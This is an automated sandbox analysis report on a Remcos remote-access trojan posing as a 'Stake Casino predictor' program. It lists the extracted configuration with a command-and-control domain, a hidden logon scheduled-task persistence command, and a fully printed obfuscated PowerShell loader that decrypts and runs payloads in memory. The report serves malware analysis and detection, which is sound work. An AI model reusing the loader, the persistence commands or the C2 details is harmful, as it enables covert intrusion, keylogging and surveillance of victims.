Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/02/2024, 10:26

General

  • Target
    Stake-Casino-predictorV5.5/stake Predictor V5.5.exe
  • Size 56KB
  • Sample240214-mgpprsgh96
  • SHA256 150e499c40941fca8aab61e5a0617cd1267c4fd4fd8e89069b2dfcae95d343d8
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • remcos

Botnet
  • stako

C2
  • windowsshell.theworkpc.com:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    true

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-VTXMU3

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.5\stake Predictor V5.5.exe
    "C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.5\stake Predictor V5.5.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4420
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ACR.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5044
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ACR.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:8
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3172
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3444
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\ACR')
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1912
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 63403' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network63403Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4708
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network63403Man.cmd"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4468
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network63403Man.cmd"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4936
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                7⤵
                • Blocklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:3928
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                  8⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3144
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network63403Man')
                  8⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1684
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 63403' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network63403Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                  8⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2388
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network63403Man.cmd';$qOie='CreLusyaLusytLusyeDLusyecLusyryLusypLusytoLusyrLusy'.Replace('Lusy', ''),'LFbyFoaFbyFdFbyF'.Replace('FbyF', ''),'FQCraroQCramBQCraasQCrae6QCra4QCraStrQCraingQCra'.Replace('QCra', ''),'CJuiyhJuiyanJuiygeJuiyExJuiytJuiyenJuiysiJuiyonJuiy'.Replace('Juiy', ''),'ReyjcSayjcSdyjcSLiyjcSneyjcSsyjcS'.Replace('yjcS', ''),'TrazLNwnszLNwforzLNwmFzLNwizLNwnalzLNwBlzLNwozLNwckzLNw'.Replace('zLNw', ''),'CGCZZoGCZZpyGCZZToGCZZ'.Replace('GCZZ', ''),'SAWtxplAWtxitAWtx'.Replace('AWtx', ''),'GIghaetCIghauIgharrIghaenIghatIghaPIgharoIghaceIghassIgha'.Replace('Igha', ''),'InvLqNYoLqNYkeLqNY'.Replace('LqNY', ''),'ElKkKwemeKkKwntKkKwAtKkKw'.Replace('KkKw', ''),'DGycCecoGycCmGycCpreGycCssGycC'.Replace('GycC', ''),'EncSFGtrcSFGyPocSFGincSFGtcSFG'.Replace('cSFG', ''),'MaIXeninIXenMoIXenduIXenleIXen'.Replace('IXen', '');powershell -w hidden;function JiWzE($pEvHj){$rHskd=[System.Security.Cryptography.Aes]::Create();$rHskd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$rHskd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$rHskd.Key=[System.Convert]::($qOie[2])('2y7aLfH31mK2nGU78foJwpYmH2SXagxnfkgf7lFFvhY=');$rHskd.IV=[System.Convert]::($qOie[2])('jctRZgXoB89HuqWYY9PStA==');$qjSvP=$rHskd.($qOie[0])();$flCzJ=$qjSvP.($qOie[5])($pEvHj,0,$pEvHj.Length);$qjSvP.Dispose();$rHskd.Dispose();$flCzJ;}function ezUqD($pEvHj){$GkvPz=New-Object System.IO.MemoryStream(,$pEvHj);$SXuGB=New-Object System.IO.MemoryStream;$ebuIo=New-Object System.IO.Compression.GZipStream($GkvPz,[IO.Compression.CompressionMode]::($qOie[11]));$ebuIo.($qOie[6])($SXuGB);$ebuIo.Dispose();$GkvPz.Dispose();$SXuGB.Dispose();$SXuGB.ToArray();}$cwVJh=[System.IO.File]::($qOie[4])([Console]::Title);$aQyjD=ezUqD (JiWzE ([Convert]::($qOie[2])([System.Linq.Enumerable]::($qOie[10])($cwVJh, 5).Substring(2))));$SOHBM=ezUqD (JiWzE ([Convert]::($qOie[2])([System.Linq.Enumerable]::($qOie[10])($cwVJh, 6).Substring(2))));[System.Reflection.Assembly]::($qOie[1])([byte[]]$SOHBM).($qOie[12]).($qOie[9])($null,$null);[System.Reflection.Assembly]::($qOie[1])([byte[]]$aQyjD).($qOie[12]).($qOie[9])($null,$null); "
                7⤵
                  PID:2960
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\ACR.bat';$qOie='CreLusyaLusytLusyeDLusyecLusyryLusypLusytoLusyrLusy'.Replace('Lusy', ''),'LFbyFoaFbyFdFbyF'.Replace('FbyF', ''),'FQCraroQCramBQCraasQCrae6QCra4QCraStrQCraingQCra'.Replace('QCra', ''),'CJuiyhJuiyanJuiygeJuiyExJuiytJuiyenJuiysiJuiyonJuiy'.Replace('Juiy', ''),'ReyjcSayjcSdyjcSLiyjcSneyjcSsyjcS'.Replace('yjcS', ''),'TrazLNwnszLNwforzLNwmFzLNwizLNwnalzLNwBlzLNwozLNwckzLNw'.Replace('zLNw', ''),'CGCZZoGCZZpyGCZZToGCZZ'.Replace('GCZZ', ''),'SAWtxplAWtxitAWtx'.Replace('AWtx', ''),'GIghaetCIghauIgharrIghaenIghatIghaPIgharoIghaceIghassIgha'.Replace('Igha', ''),'InvLqNYoLqNYkeLqNY'.Replace('LqNY', ''),'ElKkKwemeKkKwntKkKwAtKkKw'.Replace('KkKw', ''),'DGycCecoGycCmGycCpreGycCssGycC'.Replace('GycC', ''),'EncSFGtrcSFGyPocSFGincSFGtcSFG'.Replace('cSFG', ''),'MaIXeninIXenMoIXenduIXenleIXen'.Replace('IXen', '');powershell -w hidden;function JiWzE($pEvHj){$rHskd=[System.Security.Cryptography.Aes]::Create();$rHskd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$rHskd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$rHskd.Key=[System.Convert]::($qOie[2])('2y7aLfH31mK2nGU78foJwpYmH2SXagxnfkgf7lFFvhY=');$rHskd.IV=[System.Convert]::($qOie[2])('jctRZgXoB89HuqWYY9PStA==');$qjSvP=$rHskd.($qOie[0])();$flCzJ=$qjSvP.($qOie[5])($pEvHj,0,$pEvHj.Length);$qjSvP.Dispose();$rHskd.Dispose();$flCzJ;}function ezUqD($pEvHj){$GkvPz=New-Object System.IO.MemoryStream(,$pEvHj);$SXuGB=New-Object System.IO.MemoryStream;$ebuIo=New-Object System.IO.Compression.GZipStream($GkvPz,[IO.Compression.CompressionMode]::($qOie[11]));$ebuIo.($qOie[6])($SXuGB);$ebuIo.Dispose();$GkvPz.Dispose();$SXuGB.Dispose();$SXuGB.ToArray();}$cwVJh=[System.IO.File]::($qOie[4])([Console]::Title);$aQyjD=ezUqD (JiWzE ([Convert]::($qOie[2])([System.Linq.Enumerable]::($qOie[10])($cwVJh, 5).Substring(2))));$SOHBM=ezUqD (JiWzE ([Convert]::($qOie[2])([System.Linq.Enumerable]::($qOie[10])($cwVJh, 6).Substring(2))));[System.Reflection.Assembly]::($qOie[1])([byte[]]$SOHBM).($qOie[12]).($qOie[9])($null,$null);[System.Reflection.Assembly]::($qOie[1])([byte[]]$aQyjD).($qOie[12]).($qOie[9])($null,$null); "
            4⤵
              PID:3736
            • C:\Windows\system32\timeout.exe
              timeout /nobreak /t 1
              4⤵
              • Delays execution with timeout.exe
              PID:644
        • C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.5\setEn.exe
          "setEn.exe"
          2⤵
            PID:1388

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              logs.dat

              • Path C:\ProgramData\remcos\logs.dat
              • Size 214B
              • SHA256 bf071e2acd7e234eb4ef4f862bf726570f99bef916b60d81188b79256615ec12
              • MD5 SHA1 SHA512

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
              • Size 1KB
              • SHA256 d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea
              • MD5 SHA1 SHA512

              StartupProfileData-Interactive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
              • Size 21KB
              • SHA256 c35b9be1f85f952ae4aa9a3432c95c87d02643f74b229fe69d58c5c971de2c03
              • MD5 SHA1 SHA512 SSDEEP

              StartupProfileData-Interactive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
              • Size 2KB
              • SHA256 39c278989a230bf0f6f6082149afb2790675e1774b275ca4f60b34c85b88a1c2
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 20KB
              • SHA256 6ad06eab5d2d0238e389de940a28525b50d0095cc7a44ac845ef038cc3918038
              • MD5 SHA1 SHA512 SSDEEP

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 21KB
              • SHA256 99a3ca092dd6865e6f618b6d744df3b5cb5ba30831e000663ea4e6334b4db800
              • MD5 SHA1 SHA512 SSDEEP

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 20KB
              • SHA256 aa44af10dcb573a7c84d71d1e62bc00e1ac556ec6a7fa2b8d7251bb9e5d01fd2
              • MD5 SHA1 SHA512 SSDEEP

              ACR.bat

              • Path C:\Users\Admin\AppData\Local\Temp\ACR.bat
              • Size 386KB
              • SHA256 4145fb609fd916c5faac6304e58de84a618a3c8440b54d74a2fc9feedbbdcd1a
              • MD5 SHA1 SHA512 SSDEEP

              __PSScriptPolicyTest_djiz1vik.52m.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_djiz1vik.52m.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              memory/1388-27-0x00007FFB99CF0000-0x00007FFB9A7B1000-memory.dmp

              memory/1388-117-0x00007FFB99CF0000-0x00007FFB9A7B1000-memory.dmp

              memory/1388-26-0x00000288CD800000-0x00000288CD810000-memory.dmp

              memory/1684-164-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/1912-70-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/1912-102-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/1912-71-0x0000000005130000-0x0000000005140000-memory.dmp

              memory/1912-72-0x0000000005130000-0x0000000005140000-memory.dmp

              memory/1912-82-0x000000007F3C0000-0x000000007F3D0000-memory.dmp

              memory/1912-83-0x0000000007560000-0x0000000007592000-memory.dmp

              memory/1912-84-0x0000000070B80000-0x0000000070BCC000-memory.dmp

              memory/1912-94-0x0000000007540000-0x000000000755E000-memory.dmp

              memory/1912-100-0x0000000005130000-0x0000000005140000-memory.dmp

              memory/1912-99-0x00000000078F0000-0x0000000007901000-memory.dmp

              memory/1912-98-0x00000000079C0000-0x0000000007A56000-memory.dmp

              memory/1912-97-0x0000000007770000-0x000000000777A000-memory.dmp

              memory/1912-95-0x0000000005130000-0x0000000005140000-memory.dmp

              memory/1912-96-0x00000000075B0000-0x0000000007653000-memory.dmp

              memory/3084-25-0x00007FFB99CF0000-0x00007FFB9A7B1000-memory.dmp

              memory/3084-0-0x00000282A0280000-0x00000282A0290000-memory.dmp

              memory/3084-1-0x00007FFB99CF0000-0x00007FFB9A7B1000-memory.dmp

              memory/3144-151-0x0000000005050000-0x0000000005060000-memory.dmp

              memory/3144-150-0x0000000005050000-0x0000000005060000-memory.dmp

              memory/3144-149-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/3144-162-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/3172-52-0x0000000007280000-0x000000000729A000-memory.dmp

              memory/3172-137-0x0000000004B20000-0x0000000004B30000-memory.dmp

              memory/3172-68-0x0000000007420000-0x000000000746E000-memory.dmp

              memory/3172-29-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/3172-30-0x0000000004A10000-0x0000000004A46000-memory.dmp

              memory/3172-163-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/3172-31-0x0000000004B20000-0x0000000004B30000-memory.dmp

              memory/3172-51-0x00000000078E0000-0x0000000007F5A000-memory.dmp

              memory/3172-50-0x00000000071E0000-0x0000000007256000-memory.dmp

              memory/3172-49-0x0000000007060000-0x00000000070A4000-memory.dmp

              memory/3172-48-0x0000000005F90000-0x0000000005FDC000-memory.dmp

              memory/3172-47-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

              memory/3172-32-0x0000000005160000-0x0000000005788000-memory.dmp

              memory/3172-45-0x00000000059A0000-0x0000000005CF4000-memory.dmp

              memory/3172-35-0x0000000005870000-0x00000000058D6000-memory.dmp

              memory/3172-34-0x0000000005800000-0x0000000005866000-memory.dmp

              memory/3172-33-0x0000000005100000-0x0000000005122000-memory.dmp

              memory/3172-127-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/3444-67-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/3444-55-0x0000000004960000-0x0000000004970000-memory.dmp

              memory/3444-54-0x0000000004960000-0x0000000004970000-memory.dmp

              memory/3444-53-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/3928-136-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/3928-221-0x0000000000400000-0x0000000000482000-memory.dmp

              memory/3928-138-0x0000000004DA0000-0x0000000004DB0000-memory.dmp

              memory/4420-17-0x000001CFB9450000-0x000001CFB9460000-memory.dmp

              memory/4420-15-0x000001CFBA200000-0x000001CFBA244000-memory.dmp

              memory/4420-16-0x000001CFBA2D0000-0x000001CFBA346000-memory.dmp

              memory/4420-2-0x00007FFB99CF0000-0x00007FFB9A7B1000-memory.dmp

              memory/4420-5-0x000001CFB9420000-0x000001CFB9442000-memory.dmp

              memory/4420-4-0x000001CFB9450000-0x000001CFB9460000-memory.dmp

              memory/4420-20-0x00007FFB99CF0000-0x00007FFB9A7B1000-memory.dmp

              memory/4420-3-0x000001CFB9450000-0x000001CFB9460000-memory.dmp

              memory/4708-129-0x0000000002B90000-0x0000000002BA0000-memory.dmp

              memory/4708-128-0x000000007EEB0000-0x000000007EEC0000-memory.dmp

              memory/4708-103-0x0000000074DE0000-0x0000000075590000-memory.dmp

              memory/4708-104-0x0000000002B90000-0x0000000002BA0000-memory.dmp

              memory/4708-105-0x0000000002B90000-0x0000000002BA0000-memory.dmp

              memory/4708-116-0x0000000070B80000-0x0000000070BCC000-memory.dmp

              memory/4708-131-0x0000000074DE0000-0x0000000075590000-memory.dmp